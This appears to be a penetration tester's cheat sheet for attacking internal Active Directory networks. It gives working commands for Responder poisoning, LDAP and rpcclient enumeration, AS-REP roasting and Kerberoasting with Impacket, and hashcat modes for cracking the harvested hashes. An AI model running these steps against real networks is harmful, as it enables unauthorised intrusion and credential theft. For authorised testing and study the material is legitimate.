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Packet Capture

Save a packet capture:

tcpdump -i <interface> -s0 -w pcapfile.pcap

Ctrl-C to stop after about 5 minutes. Replay capture and look for interesting protocols:

tcpdump -r pcapfile.pcap not <host IP address> and not arp

Do you see LLMNR and NetBIOS (NBNS)? Responder and SMB relay. DHCPv6 broadcasts? mitm6 and ntlmrelay. Make a note of the domain name found in the pcap to use in following later steps in the Recon section. Do you see routing protocols? If yes, scp the pcap file over to your system and open in Wireshark. An example to look for is OSPF. It should only be broadcasting on links to other routers, not on user subnet interfaces. The default for Cisco OSPF configurations is to broadcast to all interfaces with null authentication which could allow anyone to exploit it. Also check capture for HSRP default plaintext authentication with a password of 'cisco'.

Tcpdump filter for DHCPv6: tcpdump -i eth0 -n -vv '(udp port 546 or 547) or icmp6'

Enumerate DNS

fierce -d <domain.name> amass -ip -active -d example.com

With credentials: Install: pip install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump Enumerate: adidnsdump -r -u <domain>\\<username> <DC>

mDNS

apt install avahi-utils avahi-browse -a -v -r

Responder - LLMNR and NBNS

Start in Analyze mode (passive) ./Responder.py -I <interface> -A Do you see any obvious honeypot systems? If yes, blacklist them in the configuration before switching to an active attack. Do you see LLNR and NetBIOS (NBNS)? If Yes, proceed to SMB Relaying. If no, check your packet capture for DHCPv6. If found, proceed to SMB Relaying.

Enumerate Active Directory Naming Context

ldapsearch -h <DC IP> -x -s base namingcontexts

Locate Active Directory Domain Controllers

First you'll need the domain name. You should be able to find that in the tcpdump output. Next, run: nslookup -type=srv _ldap._tcp.<domain.name> | grep ldap | cut -d ' ' -f 6 | sed 's/\.$//g' > domaincontrollers.out

Null Session Enumeration

Using ldapsearch: ldapsearch -h <DC IP> -x -b "DC=htb,DC=local", replace "DC=htb,DC=local" with values found from previous ldapsearch for namingcontexts above.

If you get usernames, run Impacket GetNPUsers.py on them and crack any hashes that you get. This script will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). For those users with such configuration, a John The Ripper output will be generated so you can send it for cracking.

Get password hashes for Active Directory users with "Do Not Require Kerberos Preauthentication" set

Using Impacket:

GetNPUsers.py [Domain Name]/ -dc-ip [Domain Controller IP address] -request

Crack hashes using Hashcat mode 18200.

Active Directory Enumeration with Credentials

Run the CrackMapExec gpp_password and gpp_autologon modules to search for passwords in Group Policy Preferences:

Interactive: rpcclient -U "DOMAIN/username%password" <domaincontroller name/IP"

Common rpcclient commands (suffix to the above command):

-c dsr_enumtrustdom
-c enumdomains
-c enumdomusers
-c enumdomgroups
-c getdompwinfo

Windapsearch: https://github.com/ropnop/windapsearch (has a nice feature that will display DA's through nested groups which doesn't show up when you use 'net groups "Domain Admins" /domain')

Kerberoasting

Using Impacket:

GetUserSPNs.py -request -save -dc-ip <IP> domain/user

Crack hashes using Hashcat mode 13100